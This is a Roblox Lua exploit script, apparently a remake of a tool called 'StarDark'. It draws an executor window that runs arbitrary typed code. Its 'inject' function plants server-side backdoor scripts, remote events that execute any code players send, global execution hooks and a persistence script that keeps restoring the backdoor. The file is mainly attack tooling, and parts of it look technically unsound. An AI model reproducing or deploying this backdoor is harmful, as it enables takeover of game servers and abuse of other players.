local StarDark = {} StarDark.__index = StarDark local Players = game:GetService("Players") local RunService = game:GetService("RunService") local HttpService = game:GetService("HttpService") local CoreGui = game:GetService("CoreGui") local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerScriptService = game:GetService("ServerScriptService") local UserInputService = game:GetService("UserInputService") local TextService = game:GetService("TextService") function StarDark.new() local self = setmetatable({}, StarDark) self.Gui = Instance.new("ScreenGui") self.Gui.Parent = CoreGui self.Gui.Name = "StarDarkGUI" self.Gui.ResetOnSpawn = false self.Frame = Instance.new("Frame") self.Frame.Parent = self.Gui self.Frame.Size = UDim2.new(0, 600, 0, 450) self.Frame.Position = UDim2.new(0.5, -300, 0.5, -225) self.Frame.BackgroundColor3 = Color3.fromRGB(200, 200, 200) self.Frame.BorderSizePixel = 0 self.Frame.BackgroundTransparency = 0 local corner = Instance.new("UICorner") corner.Parent = self.Frame corner.CornerRadius = UDim.new(0, 0) self.DragBar = Instance.new("Frame") self.DragBar.Parent = self.Frame self.DragBar.Size = UDim2.new(1, 0, 0.08, 0) self.DragBar.Position = UDim2.new(0, 0, 0, 0) self.DragBar.BackgroundColor3 = Color3.fromRGB(150, 150, 150) self.DragBar.BackgroundTransparency = 0 self.DragBar.BorderSizePixel = 0 local dragCorner = Instance.new("UICorner") dragCorner.Parent = self.DragBar dragCorner.CornerRadius = UDim.new(0, 0) self.Title = Instance.new("TextLabel") self.Title.Parent = self.DragBar self.Title.Size = UDim2.new(0.6, 0, 1, 0) self.Title.Position = UDim2.new(0.02, 0, 0, 0) self.Title.BackgroundTransparency = 1 self.Title.TextColor3 = Color3.fromRGB(255, 255, 255) self.Title.Text = "StarDark" self.Title.Font = Enum.Font.SourceSansBold self.Title.TextSize = 22 self.Title.TextXAlignment = Enum.TextXAlignment.Left self.InjectBtn = Instance.new("TextButton") self.InjectBtn.Parent = self.DragBar self.InjectBtn.Size = UDim2.new(0, 100, 0, 30) self.InjectBtn.Position = UDim2.new(1, -110, 0.5, -15) self.InjectBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255) self.InjectBtn.TextColor3 = Color3.fromRGB(0, 0, 0) self.InjectBtn.Text = "inject" self.InjectBtn.Font = Enum.Font.SourceSansBold self.InjectBtn.TextSize = 18 self.InjectBtn.Visible = true self.InjectBtn.BorderSizePixel = 1 local injCorner = Instance.new("UICorner") injCorner.Parent = self.InjectBtn injCorner.CornerRadius = UDim.new(0, 0) self.CloseBtn = Instance.new("TextButton") self.CloseBtn.Parent = self.DragBar self.CloseBtn.Size = UDim2.new(0, 30, 0, 30) self.CloseBtn.Position = UDim2.new(1, -35, 0.5, -15) self.CloseBtn.BackgroundColor3 = Color3.fromRGB(150, 150, 150) self.CloseBtn.TextColor3 = Color3.fromRGB(255, 255, 255) self.CloseBtn.Text = "" self.CloseBtn.Font = Enum.Font.SourceSansBold self.CloseBtn.TextSize = 16 self.CloseBtn.Visible = false self.CloseBtn.BorderSizePixel = 0 local closeCorner = Instance.new("UICorner") closeCorner.Parent = self.CloseBtn closeCorner.CornerRadius = UDim.new(0, 0) self.MinimizeBtn = Instance.new("TextButton") self.MinimizeBtn.Parent = self.DragBar self.MinimizeBtn.Size = UDim2.new(0, 30, 0, 30) self.MinimizeBtn.Position = UDim2.new(1, -70, 0.5, -15) self.MinimizeBtn.BackgroundColor3 = Color3.fromRGB(150, 150, 150) self.MinimizeBtn.TextColor3 = Color3.fromRGB(255, 255, 255) self.MinimizeBtn.Text = "" self.MinimizeBtn.Font = Enum.Font.SourceSansBold self.MinimizeBtn.TextSize = 16 self.MinimizeBtn.Visible = false self.MinimizeBtn.BorderSizePixel = 0 local minCorner = Instance.new("UICorner") minCorner.Parent = self.MinimizeBtn minCorner.CornerRadius = UDim.new(0, 0) self.TextBoxScrollingFrame = Instance.new("ScrollingFrame") self.TextBoxScrollingFrame.Parent = self.Frame self.TextBoxScrollingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) self.TextBoxScrollingFrame.BorderColor3 = Color3.fromRGB(0, 0, 0) self.TextBoxScrollingFrame.BorderSizePixel = 0 self.TextBoxScrollingFrame.Position = UDim2.new(0.04, 0, 0.12, 0) self.TextBoxScrollingFrame.Size = UDim2.new(0.92, 0, 0.65, 0) self.TextBoxScrollingFrame.ScrollBarThickness = 4 self.TextBoxScrollingFrame.VerticalScrollBarInset = Enum.ScrollBarInset.Always self.TextBoxScrollingFrame.AutomaticCanvasSize = Enum.AutomaticSize.None local sfCorner = Instance.new("UICorner") sfCorner.Parent = self.TextBoxScrollingFrame sfCorner.CornerRadius = UDim.new(0, 0) local UIListLayout = Instance.new("UIListLayout") UIListLayout.Parent = self.TextBoxScrollingFrame UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder self.TextBox = Instance.new("TextBox") self.TextBox.Parent = self.TextBoxScrollingFrame self.TextBox.Size = UDim2.new(1, -4, 0, 292) self.TextBox.AutomaticSize = Enum.AutomaticSize.None self.TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255) self.TextBox.BackgroundTransparency = 1 self.TextBox.TextColor3 = Color3.fromRGB(0, 0, 0) self.TextBox.Text = "StarDark remake by @LegendHax" self.TextBox.MultiLine = true self.TextBox.Font = Enum.Font.Code self.TextBox.TextSize = 14 self.TextBox.TextXAlignment = Enum.TextXAlignment.Left self.TextBox.TextYAlignment = Enum.TextYAlignment.Top self.TextBox.PlaceholderText = "" self.TextBox.ClearTextOnFocus = false self.TextBox.TextWrapped = true local function forceTextScroll() local maxWidth = self.TextBoxScrollingFrame.AbsoluteSize.X - self.TextBoxScrollingFrame.ScrollBarThickness - 10 if maxWidth <= 0 then maxWidth = 400 end local stringSize = TextService:GetTextSize( self.TextBox.Text, self.TextBox.TextSize, self.TextBox.Font, Vector2.new(maxWidth, math.huge) ) local finalHeight = math.max(stringSize.Y + 20, 292) self.TextBox.Size = UDim2.new(1, -4, 0, finalHeight) self.TextBoxScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, finalHeight) end self.TextBox:GetPropertyChangedSignal("Text"):Connect(forceTextScroll) self.TextBoxScrollingFrame:GetPropertyChangedSignal("AbsoluteSize"):Connect(forceTextScroll) task.defer(forceTextScroll) self.ExecuteBtn = Instance.new("TextButton") self.ExecuteBtn.Parent = self.Frame self.ExecuteBtn.Size = UDim2.new(0.44, 0, 0.15, 0) self.ExecuteBtn.Position = UDim2.new(0.04, 0, 0.81, 0) self.ExecuteBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) self.ExecuteBtn.TextColor3 = Color3.fromRGB(255, 255, 255) self.ExecuteBtn.Text = "Execute" self.ExecuteBtn.Font = Enum.Font.SourceSansBold self.ExecuteBtn.TextSize = 22 local execCorner = Instance.new("UICorner") execCorner.Parent = self.ExecuteBtn execCorner.CornerRadius = UDim.new(0, 0) self.ClearBtn = Instance.new("TextButton") self.ClearBtn.Parent = self.Frame self.ClearBtn.Size = UDim2.new(0.44, 0, 0.15, 0) self.ClearBtn.Position = UDim2.new(0.52, 0, 0.81, 0) self.ClearBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255) self.ClearBtn.TextColor3 = Color3.fromRGB(0, 0, 0) self.ClearBtn.Text = "clean" self.ClearBtn.Font = Enum.Font.SourceSansBold self.ClearBtn.TextSize = 22 local clearCorner = Instance.new("UICorner") clearCorner.Parent = self.ClearBtn clearCorner.CornerRadius = UDim.new(0, 0) self.StatusLabel = Instance.new("TextLabel") self.StatusLabel.Parent = self.Frame self.StatusLabel.Size = UDim2.new(0.92, 0, 0.08, 0) self.StatusLabel.Position = UDim2.new(0.04, 0, 0.8, 0) self.StatusLabel.BackgroundTransparency = 1 self.StatusLabel.TextColor3 = Color3.fromRGB(0, 0, 0) self.StatusLabel.Text = "" self.StatusLabel.Font = Enum.Font.SourceSans self.StatusLabel.TextSize = 14 self.StatusLabel.TextXAlignment = Enum.TextXAlignment.Left self.StatusLabel.Visible = false self.InfoLabel = Instance.new("TextLabel") self.InfoLabel.Parent = self.Frame self.InfoLabel.Size = UDim2.new(0.92, 0, 0.08, 0) self.InfoLabel.Position = UDim2.new(0.04, 0, 0.9, 0) self.InfoLabel.BackgroundTransparency = 1 self.InfoLabel.TextColor3 = Color3.fromRGB(0, 0, 0) self.InfoLabel.Text = "" self.InfoLabel.Font = Enum.Font.SourceSans self.InfoLabel.TextSize = 12 self.InfoLabel.TextXAlignment = Enum.TextXAlignment.Left self.InfoLabel.Visible = false self:SetupDragging() self.CloseBtn.MouseButton1Click:Connect(function() self.Gui.Enabled = false end) self.MinimizeBtn.MouseButton1Click:Connect(function() self.TextBoxScrollingFrame.Visible = not self.TextBoxScrollingFrame.Visible self.ExecuteBtn.Visible = self.TextBoxScrollingFrame.Visible self.ClearBtn.Visible = self.TextBoxScrollingFrame.Visible self.StatusLabel.Visible = false self.InfoLabel.Visible = false if self.TextBoxScrollingFrame.Visible then self.Frame.Size = UDim2.new(0, 600, 0, 450) else self.Frame.Size = UDim2.new(0, 600, 0, 45) end end) self.ExecuteBtn.MouseButton1Click:Connect(function() self:ExecuteCode() end) self.InjectBtn.MouseButton1Click:Connect(function() self:InjectBackdoor() end) self.ClearBtn.MouseButton1Click:Connect(function() self.TextBox.Text = "" end) self:UpdateInfo() RunService.Heartbeat:Connect(function() self:UpdateInfo() end) return self end function StarDark:SetupDragging() local dragging = false local dragInput, dragStart, startPos self.DragBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = self.Frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) self.DragBar.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then local delta = input.Position - dragStart self.Frame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end end) end function StarDark:UpdateInfo() local count = #Players:GetPlayers() end function StarDark:ExecuteCode() local code = self.TextBox.Text if code == "" then return end local success, err = pcall(function() local env = getfenv() env.Players = Players env.Workspace = game:GetService("Workspace") env.HttpService = HttpService env.ReplicatedStorage = ReplicatedStorage env.ServerScriptService = ServerScriptService env.RunService = RunService env.game = game env._G = _G env.getfenv = getfenv env.setfenv = setfenv env.table = table env.pcall = pcall env.loadstring = loadstring env.print = print env.warn = warn env.error = error env.tick = tick env.time = time env.wait = wait env.spawn = spawn env.ypcall = function(f, ...) return pcall(f, ...) end local func, compileErr = loadstring(code, "StarDark_SS") if not func then error(compileErr) end setfenv(func, env) local results = {func()} end) end function StarDark:InjectBackdoor() local function createSSBackdoor() local backdoorScript = Instance.new("Script") backdoorScript.Name = "StarDark_SS_Backdoor" backdoorScript.Parent = ServerScriptService local code = [[ local Players = game:GetService("Players") local HttpService = game:GetService("HttpService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local remoteEvent = Instance.new("RemoteEvent") remoteEvent.Name = "StarDark_SS_Remote" remoteEvent.Parent = ReplicatedStorage local remoteFunction = Instance.new("RemoteFunction") remoteFunction.Name = "StarDark_SS_Function" remoteFunction.Parent = ReplicatedStorage local function executeSS(code, executor) local env = getfenv() env.Players = Players env.Workspace = game:GetService("Workspace") env.HttpService = HttpService env.ReplicatedStorage = ReplicatedStorage env.ServerScriptService = ServerScriptService env.RunService = RunService env.game = game env._G = _G env.getfenv = getfenv env.setfenv = setfenv env.table = table env.pcall = pcall env.loadstring = loadstring env.print = print env.warn = warn env.error = error env.tick = tick env.time = time env.wait = wait env.spawn = spawn local func, err = loadstring(code, "StarDark_SS_Injected") if not func then return "Compile Error: " .. tostring(err) end setfenv(func, env) local success, result = pcall(func) if success then return "Success" .. (result and ": " .. tostring(result) or "") else return "Runtime Error: " .. tostring(result) end end remoteEvent.OnServerEvent:Connect(function(player, code) if not code or type(code) ~= "string" then return end local result = executeSS(code, player) remoteEvent:FireClient(player, result) end) remoteFunction.OnServerInvoke = function(player, code) if not code or type(code) ~= "string" then return "Invalid code" end return executeSS(code, player) end local function globalSS(code) local func, err = loadstring(code, "StarDark_Global") if func then setfenv(func, getfenv()) return pcall(func) end return false, err end _G.StarDark_ExecuteSS = function(code) return globalSS(code) end _G.StarDark_GetPlayers = function() return Players:GetPlayers() end for _, player in ipairs(Players:GetPlayers()) do local cloneRemote = remoteEvent:Clone() cloneRemote.Parent = player end Players.PlayerAdded:Connect(function(player) local cloneRemote = remoteEvent:Clone() cloneRemote.Parent = player end) ]] backdoorScript.Source = code backdoorScript.Disabled = false end local function createClientInjection() for _, player in ipairs(Players:GetPlayers()) do if player ~= Players.LocalPlayer then local remote = Instance.new("RemoteEvent") remote.Name = "StarDark_Injector" remote.Parent = player remote.OnServerEvent:Connect(function(plr, code) if not code or type(code) ~= "string" then return end local env = getfenv() env.Players = Players env.Workspace = game:GetService("Workspace") env.HttpService = HttpService env.getfenv = getfenv env.setfenv = setfenv env.table = table env.pcall = pcall env.loadstring = loadstring local func, err = loadstring(code, "StarDark_ClientInject") if func then setfenv(func, env) pcall(func) end end) end end end local function hookWorkspace() local ws = game:GetService("Workspace") local oldFind = ws.FindFirstChild ws.FindFirstChild = function(self, name, recursive) if name == "StarDark_SS" then return oldFind(self, "StarDark_SS", recursive) end return oldFind(self, name, recursive) end end local function createExecutionBridge() local bridge = Instance.new("RemoteEvent") bridge.Name = "StarDark_Bridge" bridge.Parent = ReplicatedStorage bridge.OnServerEvent:Connect(function(player, code, mode) if mode == "ss" then local env = getfenv() env.Players = Players env.Workspace = game:GetService("Workspace") env.HttpService = HttpService env.ReplicatedStorage = ReplicatedStorage env.getfenv = getfenv env.setfenv = setfenv env.table = table env.pcall = pcall env.loadstring = loadstring local func, err = loadstring(code, "StarDark_Bridge") if func then setfenv(func, env) local success, result = pcall(func) if success then bridge:FireClient(player, "SS Executed: " .. tostring(result or "nil")) else bridge:FireClient(player, "SS Error: " .. tostring(result)) end else bridge:FireClient(player, "SS Compile Error: " .. tostring(err)) end end end) end local function deployPersistence() local persistence = Instance.new("Script") persistence.Name = "StarDark_Persistence" persistence.Parent = ServerScriptService local code = [[ local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local function findAndRestore() local remote = ReplicatedStorage:FindFirstChild("StarDark_SS_Remote") if not remote then local newRemote = Instance.new("RemoteEvent") newRemote.Name = "StarDark_SS_Remote" newRemote.Parent = ReplicatedStorage newRemote.OnServerEvent:Connect(function(player, code) if type(code) == "string" then local func, err = loadstring(code) if func then setfenv(func, getfenv()) pcall(func) end end end) end local rfunc = ReplicatedStorage:FindFirstChild("StarDark_SS_Function") if not rfunc then local newFunc = Instance.new("RemoteFunction") newFunc.Name = "StarDark_SS_Function" newFunc.Parent = ReplicatedStorage newFunc.OnServerInvoke = function(player, code) if type(code) == "string" then local func, err = loadstring(code) if func then setfenv(func, getfenv()) return pcall(func) end end return false, "Invalid" end end end findAndRestore() game:GetService("RunService").Heartbeat:Connect(findAndRestore) ]] persistence.Source = code persistence.Disabled = false end createSSBackdoor() createClientInjection() hookWorkspace() createExecutionBridge() deployPersistence() local function executeGlobalSS() local env = getfenv() env.Players = Players env.Workspace = game:GetService("Workspace") env.HttpService = HttpService env.ReplicatedStorage = ReplicatedStorage env.ServerScriptService = ServerScriptService env.RunService = RunService env.game = game env._G = _G env.getfenv = getfenv env.setfenv = setfenv env.table = table env.pcall = pcall env.loadstring = loadstring _G.StarDark_ServerExecute = function(code) local func, err = loadstring(code, "StarDark_Global") if not func then return false, err end setfenv(func, env) return pcall(func) end _G.StarDark_GetAllPlayers = function() return Players:GetPlayers() end _G.StarDark_GetPlayers = Players.GetPlayers end executeGlobalSS() end local gui = StarDark.new() _G.StarDark = gui